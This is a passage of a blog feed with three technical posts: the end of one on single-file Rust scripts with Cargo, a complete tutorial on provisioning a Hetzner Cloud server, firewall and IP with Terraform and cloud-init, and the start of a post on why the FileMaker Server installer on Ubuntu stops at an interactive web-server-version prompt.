&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="k"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;: &lt;span class="kt"&gt;u8&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;::&lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Random number: &lt;/span&gt;&lt;span class="si"&gt;{x}&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The manifest partial from the doc comment will go into the &lt;code&gt;Cargo.toml&lt;/code&gt; as expected. And during the first script execution, the dependencies will be downloaded and compiled just like during a regular build using Cargo. Conveniently, the dependencies are also cached.&lt;/p&gt;
&lt;p&gt;Good stuff :-)&lt;/p&gt;
&lt;h2 id="using-just-cargo-soon-to-be-built-in-cargo-script"&gt;Using just Cargo (soon to be built-in Cargo script)&lt;/h2&gt;
&lt;p&gt;Interestingly, single-file packages will soon also be supported by Cargo itself (currently still listed under &lt;a href="https://doc.rust-lang.org/nightly/cargo/reference/unstable.html#script"&gt;&amp;ldquo;unstable features&amp;rdquo;&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;To reproduce the example (though as a debug build) from above, you have to enable the nightly toolchain, specify the unstable &lt;code&gt;script&lt;/code&gt; flag and define dependencies in a fenced frontmatter:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="cp"&gt;#!/usr/bin/env -S cargo +nightly -Zscript&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="o"&gt;---&lt;/span&gt;&lt;span class="n"&gt;cargo&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;dependencies&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;#34;0.9.2&amp;#34;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="o"&gt;---&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="k"&gt;use&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;: &lt;span class="kt"&gt;u8&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rand&lt;/span&gt;::&lt;span class="n"&gt;random&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Random number: &lt;/span&gt;&lt;span class="si"&gt;{x}&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Then, you can execute it just like any other script: &lt;code&gt;./example_cargo_script.rs&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ ./example_cargo_script.rs
warning: `package.edition` is unspecified, defaulting to `2024`
 Updating crates.io index
 Locking 16 packages to latest Rust 1.95.0-nightly compatible versions
 Compiling libc v0.2.180
 Compiling getrandom v0.3.4
 Compiling zerocopy v0.8.37
 Compiling cfg-if v1.0.4
 Compiling rand_core v0.9.5
 Compiling ppv-lite86 v0.2.21
 Compiling rand_chacha v0.9.0
 Compiling rand v0.9.2
 Compiling example_cargo_script v0.0.0 (/private/tmp/example_cargo_script.rs)
 Finished `dev` profile [unoptimized + debuginfo] target(s) in 2.45s
 Running `/Users/user/.cargo/build/db/13b301754c8242/target/debug/example_cargo_script`
Random number: 58
&lt;/code&gt;&lt;/pre&gt;</description></item><item><title>Using the Hetzner Cloud Terraform Provider</title><link>https://davidhamann.de/2026/01/21/hetzner-cloud-terraform/</link><pubDate>Wed, 21 Jan 2026 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2026/01/21/hetzner-cloud-terraform/</guid><description>&lt;p&gt;I&amp;rsquo;m currently in the process of setting up several cloud servers for a new project. The whole infrastructure will run on Hetzner Cloud and be codified.&lt;/p&gt;
&lt;p&gt;Since it&amp;rsquo;s the first time I&amp;rsquo;m using the &lt;a href="https://github.com/hetznercloud/terraform-provider-hcloud"&gt;Terraform provider for Hetzner Cloud&lt;/a&gt;, I want to write down some of the notes I took.&lt;/p&gt;
&lt;p&gt;I&amp;rsquo;ll focus on creating a small, simplified, self-contained example to create a server, set up a firewall, and get a public IP assigned (no private network). If you want to manage multiple stacks and/or multiple projects, it generally makes sense to create your own modules and shared configurations. This is, however, out of scope for this post and not really any different when using Hetzner Cloud vs. other providers.&lt;/p&gt;
&lt;p&gt;If you like to read a general overview of Terraform/Infrastructure as Code first, I&amp;rsquo;ve &lt;a href="https://davidhamann.de/2020/05/20/terraform-infrastructure-as-code-intro/"&gt;written a tutorial&lt;/a&gt; in 2020 which should still be mostly up-to-date.&lt;/p&gt;
&lt;h2 id="prerequisites"&gt;Prerequisites&lt;/h2&gt;
&lt;p&gt;To tell Terraform we are going to work with the Hetzner cloud, we need to specify the relevant provider including a version number, and a token to use for interacting with the API:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;terraform {
 required_providers {
 hcloud = {
 source = &amp;#34;hetznercloud/hcloud&amp;#34;
 version = &amp;#34;~&amp;gt; 1.45&amp;#34;
 }
 }
}

provider &amp;#34;hcloud&amp;#34; {
 token = var.hcloud_token
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you&amp;rsquo;ve used Terraform before this looks just like other provider configurations. We say we want to use the &lt;code&gt;hcloud&lt;/code&gt; provider found at &lt;code&gt;hetznercloud/hcloud&lt;/code&gt; in the Terraform registry. We set the version compatibility to &lt;code&gt;~&amp;gt; 1.45&lt;/code&gt;, i.e. allowing any higher version less than &lt;code&gt;2.0&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The token can be acquired through the Hetzner Cloud console (Your project -&amp;gt; Security -&amp;gt; API Tokens) and then passed in via a variable:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Create an API token" loading="lazy" src="https://davidhamann.de/images/hetzner-api-token.png"&gt;&lt;/p&gt;
&lt;p&gt;While not a requirement, a very helpful tool when setting up your Hetzner infrastructure is the &lt;a href="https://github.com/hetznercloud/cli"&gt;&lt;code&gt;hcloud&lt;/code&gt; CLI application&lt;/a&gt;. I use it mostly to look up things – for example to find the right image identifier to use for a new server:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ hcloud image list | grep ubuntu
67794396 system ubuntu-22.04 Ubuntu 22.04 x86 - 5 GB 2022-04-21 15:32:38 CEST -
103908130 system ubuntu-22.04 Ubuntu 22.04 arm - 5 GB 2023-03-20 11:10:04 CET -
161547269 system ubuntu-24.04 Ubuntu 24.04 x86 - 5 GB 2024-04-25 15:26:27 CEST -
161547270 system ubuntu-24.04 Ubuntu 24.04 arm - 5 GB 2024-04-25 15:26:51 CEST -
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Or to find the right server type:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ hcloud server-type list
ID NAME CORES CPU TYPE ARCHITECTURE MEMORY DISK STORAGE TYPE
22 cpx11 2 shared x86 2.0 GB 40 GB local
23 cpx21 3 shared x86 4.0 GB 80 GB local
24 cpx31 4 shared x86 8.0 GB 160 GB local
25 cpx41 8 shared x86 16.0 GB 240 GB local
26 cpx51 16 shared x86 32.0 GB 360 GB local
45 cax11 2 shared arm 4.0 GB 40 GB local
93 cax21 4 shared arm 8.0 GB 80 GB local
94 cax31 8 shared arm 16.0 GB 160 GB local
95 cax41 16 shared arm 32.0 GB 320 GB local
96 ccx13 2 dedicated x86 8.0 GB 80 GB local
97 ccx23 4 dedicated x86 16.0 GB 160 GB local
98 ccx33 8 dedicated x86 32.0 GB 240 GB local
99 ccx43 16 dedicated x86 64.0 GB 360 GB local
100 ccx53 32 dedicated x86 128.0 GB 600 GB local
101 ccx63 48 dedicated x86 192.0 GB 960 GB local
...
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="initializing"&gt;Initializing&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s create a new directory, save the provider config from above in a file called &lt;code&gt;main.tf&lt;/code&gt; and then initialize it:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ terraform init
Initializing the backend...
Initializing provider plugins...
- Finding hetznercloud/hcloud versions matching &amp;#34;~&amp;gt; 1.45&amp;#34;...
- Installing hetznercloud/hcloud v1.59.0...
- Installed hetznercloud/hcloud v1.59.0 (signed by a HashiCorp partner, key ID 5219EACB3A77198B)
Partner and community providers are signed by their developers.
If you&amp;#39;d like to know more about provider signing, you can read about it here:
https://developer.hashicorp.com/terraform/cli/plugins/signing
Terraform has created a lock file .terraform.lock.hcl to record the provider
selections it made above. Include this file in your version control repository
so that Terraform can guarantee to make the same selections by default when
you run &amp;#34;terraform init&amp;#34; in the future.

Terraform has been successfully initialized!

You may now begin working with Terraform. Try running &amp;#34;terraform plan&amp;#34; to see
any changes that are required for your infrastructure. All Terraform commands
should now work.

If you ever set or change modules or backend configuration for Terraform,
rerun this command to reinitialize your working directory. If you forget, other
commands will detect it and remind you to do so if necessary.
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;As you see, the version &lt;code&gt;1.45&lt;/code&gt; we specified is already superseded, and we downloaded version &lt;code&gt;1.59.0&lt;/code&gt; instead.&lt;/p&gt;
&lt;p&gt;If you want to follow along, your directory should now look like this (or similar, depending on your architecture):&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;.
├── .terraform
│   └── providers
│   └── registry.terraform.io
│   └── hetznercloud
│   └── hcloud
│   └── 1.59.0
│   └── darwin_arm64
│   ├── CHANGELOG.md
│   ├── LICENSE
│   ├── README.md
│   └── terraform-provider-hcloud_v1.59.0
├── .terraform.lock.hcl
└── main.tf
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you prefer to build the provider yourself, please see &lt;a href="https://github.com/hetznercloud/terraform-provider-hcloud"&gt;these instructions on GitHub&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="setting-up-variables-and-outputs"&gt;Setting up variables and outputs&lt;/h2&gt;
&lt;p&gt;To make it easier to experiment, let&amp;rsquo;s create a &lt;code&gt;variables.tf&lt;/code&gt; and define a few variables for attributes we might want to change along the way:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;variable &amp;#34;hcloud_token&amp;#34; {
 sensitive = true
 type = string
}

variable &amp;#34;project_name&amp;#34; {
 type = string
 description = &amp;#34;Identifier for naming resources&amp;#34;
}

variable &amp;#34;server_type&amp;#34; {
 type = string
 default = &amp;#34;cpx22&amp;#34; # check &amp;#34;hcloud server-type list&amp;#34; for a list of options
}

variable &amp;#34;server_image&amp;#34; {
 type = string
 default = &amp;#34;ubuntu-24.04&amp;#34; # check &amp;#34;hcloud image list&amp;#34; for a list of options
}

variable &amp;#34;location&amp;#34; {
 type = string
 default = &amp;#34;fsn1&amp;#34; # the data center at which you want to create the resources.
 # check &amp;#34;hcloud location list&amp;#34; for a list of options
}

variable &amp;#34;admin_ips&amp;#34; {
 type = list(string)
 description = &amp;#34;CIDR IP ranges for administrative access&amp;#34;
}

variable &amp;#34;ssh_keys&amp;#34; {
 type = list(string)
 description = &amp;#34;SSH key names or IDs&amp;#34;
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Most of the variables should be self-explanatory, but I&amp;rsquo;ve also added a few comments and descriptions to explain the meaning.&lt;/p&gt;
&lt;p&gt;To later find out the ID and IP of the server we provision, let&amp;rsquo;s also create an &lt;code&gt;outputs.tf&lt;/code&gt; file with the following content:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;output &amp;#34;server_id&amp;#34; {
 value = hcloud_server.example_server.id
}

output &amp;#34;server_ipv4&amp;#34; {
 value = hcloud_server.example_server.ipv4_address
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I&amp;rsquo;ll explain where the &lt;code&gt;hcloud_server.example_server&lt;/code&gt; comes from in the next step.&lt;/p&gt;
&lt;h2 id="setting-up-server-firewall-and-ip-address"&gt;Setting up server, firewall and IP address&lt;/h2&gt;
&lt;p&gt;Now we can finally start creating our resources. Again, the plan is to simply create a server, a few firewall rules and an IP address and then attach the resources accordingly.&lt;/p&gt;
&lt;h3 id="ip-address"&gt;IP address&lt;/h3&gt;
&lt;p&gt;Let&amp;rsquo;s start with the IP address by creating a new file &lt;code&gt;network.tf&lt;/code&gt;:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;resource &amp;#34;hcloud_primary_ip&amp;#34; &amp;#34;example_ipv4&amp;#34; {
 name = &amp;#34;${var.project_name}-ipv4&amp;#34;
 type = &amp;#34;ipv4&amp;#34;
 location = var.location
 assignee_type = &amp;#34;server&amp;#34;
 auto_delete = false
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;To assign an IP address to servers on Hetzner Cloud you will need to create a &lt;code&gt;hcloud_primary_ip&lt;/code&gt; resource.&lt;/p&gt;
&lt;p&gt;In the above example, we give it a name, a type (one of &lt;code&gt;ipv4&lt;/code&gt; or &lt;code&gt;ipv6&lt;/code&gt;), a data center location and a type saying what kind of resource we want to assign this IP to (&lt;code&gt;server&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;We set &lt;code&gt;auto_delete&lt;/code&gt; to &lt;code&gt;false&lt;/code&gt; such that the IP is not being deleted when the server is deleted (if you run &lt;code&gt;terraform destroy&lt;/code&gt; later this will still delete the IP as expected).&lt;/p&gt;
&lt;p&gt;You could also set &lt;code&gt;assignee_id&lt;/code&gt;, but since we want to be able to create the IP before the server is created, I&amp;rsquo;ll just set the &lt;code&gt;assignee_type&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;name&lt;/code&gt; (just a resource identifier) and &lt;code&gt;location&lt;/code&gt; (data center) make use of the variables we specified before.&lt;/p&gt;
&lt;h3 id="firewall"&gt;Firewall&lt;/h3&gt;
&lt;p&gt;On to the firewall configuration.&lt;/p&gt;
&lt;p&gt;Since this example doesn&amp;rsquo;t really have a use-case for the server in mind, we just set a few common inbound rules.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s create &lt;code&gt;firewall.tf&lt;/code&gt; and start setting up an &lt;code&gt;hcloud_firewall&lt;/code&gt; resource:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;resource &amp;#34;hcloud_firewall&amp;#34; &amp;#34;example_fw&amp;#34; {
 name = &amp;#34;${var.project_name}-firewall&amp;#34;

 # ssh
 rule {
 direction = &amp;#34;in&amp;#34;
 protocol = &amp;#34;tcp&amp;#34;
 port = &amp;#34;22&amp;#34;
 source_ips = var.admin_ips
 }

 # icmp
 rule {
 direction = &amp;#34;in&amp;#34;
 protocol = &amp;#34;icmp&amp;#34;
 source_ips = var.admin_ips
 }

 # http
 rule {
 direction = &amp;#34;in&amp;#34;
 protocol = &amp;#34;tcp&amp;#34;
 port = &amp;#34;80&amp;#34;
 source_ips = [&amp;#34;0.0.0.0/0&amp;#34;]
 }

 # https
 rule {
 direction = &amp;#34;in&amp;#34;
 protocol = &amp;#34;tcp&amp;#34;
 port = &amp;#34;443&amp;#34;
 source_ips = [&amp;#34;0.0.0.0/0&amp;#34;]
 }
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We give the firewall a name and use the &lt;code&gt;rule&lt;/code&gt; argument to create rules.&lt;/p&gt;
&lt;p&gt;Each rule must have a &lt;code&gt;direction&lt;/code&gt;, &lt;code&gt;protocol&lt;/code&gt;, &lt;code&gt;source_ips&lt;/code&gt;, and a &lt;code&gt;port&lt;/code&gt; (if it applies, i.e. for &lt;code&gt;tcp&lt;/code&gt; and &lt;code&gt;udp&lt;/code&gt;).&lt;/p&gt;
&lt;p&gt;For SSH and ICMP I limit the source IPs to the ranges we can configure via the &lt;code&gt;admin_ips&lt;/code&gt; variable. The HTTP ports I leave open for all.&lt;/p&gt;
&lt;h3 id="server"&gt;Server&lt;/h3&gt;
&lt;p&gt;Now we can finally create our server resource:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;resource &amp;#34;hcloud_server&amp;#34; &amp;#34;example_server&amp;#34; {
 name = &amp;#34;${var.project_name}-server&amp;#34;
 server_type = var.server_type
 image = var.server_image
 location = var.location

 ssh_keys = var.ssh_keys

 firewall_ids = [
 hcloud_firewall.example_fw.id
 ]

 public_net {
 ipv4_enabled = true
 ipv4 = hcloud_primary_ip.example_ipv4.id
 ipv6_enabled = false
 }

 user_data = templatefile(&amp;#34;${path.module}/cloud-init.yml&amp;#34;, {
 hostname = &amp;#34;${var.project_name}-example&amp;#34;
 })

 labels = {
 project = var.project_name
 role = &amp;#34;example-server&amp;#34;
 }
}
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Most of the arguments should be clear, but let&amp;rsquo;s quickly go through them:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;name&lt;/code&gt; - Obvious&lt;/li&gt;
&lt;li&gt;&lt;code&gt;server_type&lt;/code&gt;, &lt;code&gt;image&lt;/code&gt;, &lt;code&gt;location&lt;/code&gt; - These define the type of server, OS and data center, and are filled with the variable values set earlier&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ssh_keys&lt;/code&gt; - Here, you can set names of SSH keys that you have set up in the Hetzner Cloud Console. They will be written into the &lt;code&gt;authorized_keys&lt;/code&gt; file of the root user during initialization. Since we also do some cloud-init setup in the next step, this wouldn&amp;rsquo;t be strictly necessary, but it&amp;rsquo;s nice to have a backup access method in case the cloud-init fails. We are setting this argument from a variable defined earlier.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;firewall_ids&lt;/code&gt; – Here, we attach the firewall resource created earlier. Since it&amp;rsquo;s a list, you can also combine firewalls (I do that for example, when I have a shared module with a few default rules and then a customer or project module with further more specific rules).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;public_net&lt;/code&gt; – In this block, we can attach the IP address we created earlier. If you don&amp;rsquo;t set this, Hetzner will automatically create a new primary IPv4 (and IPv6, if enabled) for you.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;user_data&lt;/code&gt; – This is where we can set &lt;a href="https://cloudinit.readthedocs.io"&gt;cloud-init&lt;/a&gt; data for initialization of the VM. We load the initialization steps from a file &lt;code&gt;cloud-init.yml&lt;/code&gt;. More on this later.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;labels&lt;/code&gt; – Just a bunch of labels you can attach to the server&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="cloud-init"&gt;cloud-init&lt;/h3&gt;
&lt;p&gt;To initialize the server with a few commands, we can use cloud-init (just like on other platforms).&lt;/p&gt;
&lt;p&gt;I usually do a bare minimum in the cloud config and then do the actual set up later on with ansible.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s a sample config for completeness. However, it&amp;rsquo;s not specifically related to Hetzner Cloud:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;#cloud-config

hostname: ${hostname}

package_update: true
package_upgrade: true

packages:
 - ufw
 - python3

users:
 - name: ansible
 groups: users, admin
 lock_passwd: true
 sudo: ALL=(ALL) NOPASSWD:ALL
 shell: /bin/bash
 ssh_authorized_keys:
 - ssh-ed25519 AAAA...

write_files:
 - path: /etc/ssh/sshd_config.d/ssh.conf
 content: |
 PermitRootLogin no
 PasswordAuthentication no
 Port 22
 MaxAuthTries 2
 AuthorizedKeysFile .ssh/authorized_keys
 AllowUsers ansible

runcmd:
 - ufw allow 22/tcp comment &amp;#39;SSH&amp;#39;
 - ufw allow 80/tcp comment &amp;#39;HTTP&amp;#39;
 - ufw allow 443/tcp comment &amp;#39;HTTPS&amp;#39;
 - ufw --force enable
 - systemctl restart sshd
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="creating-and-destroying-the-infrastructure"&gt;Creating and destroying the infrastructure&lt;/h2&gt;
&lt;p&gt;If you followed along, you should now have a directory with the following files:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;.
├── cloud-init.yml
├── firewall.tf
├── main.tf
├── network.tf
├── outputs.tf
├── server.tf
└── variables.tf
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We can now plan, apply and destroy the infrastructure as usual. Make sure to set the values for the variables (via the prompt, environment variables and/or a .tfvars file).&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;$ terraform apply
...
Apply complete! Resources: 3 added, 0 changed, 0 destroyed.

Outputs:

server_id = &amp;#34;11223344&amp;#34;
server_ipv4 = &amp;#34;1.2.3.4&amp;#34;
&lt;/code&gt;&lt;/pre&gt;&lt;h2 id="further-information"&gt;Further information&lt;/h2&gt;
&lt;p&gt;For further information check out the full documentation of the Hetzner Cloud provider on the &lt;a href="https://registry.terraform.io/providers/hetznercloud/hcloud/latest/docs"&gt;Terraform Registry site&lt;/a&gt;.&lt;/p&gt;</description></item><item><title>How to get rid of web server upgrade prompts when installing FileMaker Server on Ubuntu Linux</title><link>https://davidhamann.de/2026/01/05/non-interactive-filemaker-server-install-apache-nginx/</link><pubDate>Mon, 05 Jan 2026 00:00:00 +0000</pubDate><guid>https://davidhamann.de/2026/01/05/non-interactive-filemaker-server-install-apache-nginx/</guid><description>&lt;p&gt;A while back the FileMaker Server (FMS) installer for Ubuntu Linux started checking the currently installed web server versions and giving warnings and an interactive prompt (!) in case of outdated versions.&lt;/p&gt;
&lt;p&gt;This is rather annoying if you like to install/upgrade your FMS non-interactively. Using ansible, for example, your playbook would just hang and you would start wondering what&amp;rsquo;s going on.&lt;/p&gt;
&lt;p&gt;Let&amp;rsquo;s see what is actually happening, why it&amp;rsquo;s happening, and how to solve it.&lt;/p&gt;
&lt;h2 id="what-is-happening"&gt;What is happening?&lt;/h2&gt;
&lt;p&gt;When you follow the &lt;a href="https://help.claris.com/en/server-network-install-setup-guide/content/silent-installation-linux.html"&gt;official documentation&lt;/a&gt; on &amp;ldquo;silent installations&amp;rdquo;, you could assume that setting up a &lt;a href="https://community.claris.com/en/s/article/Assisted-install-of-FileMaker-Server-17-and-later"&gt;complete&lt;/a&gt; &lt;code&gt;Assisted Install.txt&lt;/code&gt; file and using the following command is all that is necessary:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;sudo FM_ASSISTED_INSTALL=path apt install package_path/filemaker-server-version.build-architecture.deb
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In the current and previous version (22.0.2 and 22.0.4) you will, however, eventually see something like this on stdout in the installation process:&lt;/p&gt;
&lt;pre tabindex="0"&gt;&lt;code&gt;Warning: Current nginx version($nginxVersion) is too low, it probably can lead a serious security issue! Please run the script -- NginxUpdate.sh to upgrade it to the latest version!(Ignore: If use Apache)
Do you want to continue to install? [y/n]
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Non-interactively, you obviously won&amp;rsquo;t see anything and thus won&amp;rsquo;t be able to answer the prompt.&lt;/p&gt;
&lt;p&gt;More annoyingly, canceling the installer in this state will likely break the whole installation leading to &lt;code&gt;dpkg&lt;/code&gt; telling you that &lt;code&gt;filemaker-server&lt;/code&gt; has to be re-installed.&lt;/p&gt;
&lt;h2 id="why-is-it-happening"&gt;Why is it happening?&lt;/h2&gt;
&lt;p&gt;Let&amp;rsquo;s take a quick look at the debian package to understand why this is happening:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# unzip the installer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;unzip fms_22.0.4.427_Ubuntu24_amd64.zip
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# extract the archive&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ar x filemaker-server-22.0.4.427-amd64.deb
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# extract the tarball&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tar xf control.tar.zst
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Now that we have access to the control scripts we can have a look at the bash script &lt;code&gt;preinst&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;In it, we see the function &lt;code&gt;checkNginxAndApacheVersion()&lt;/code&gt;:&lt;/p&gt;
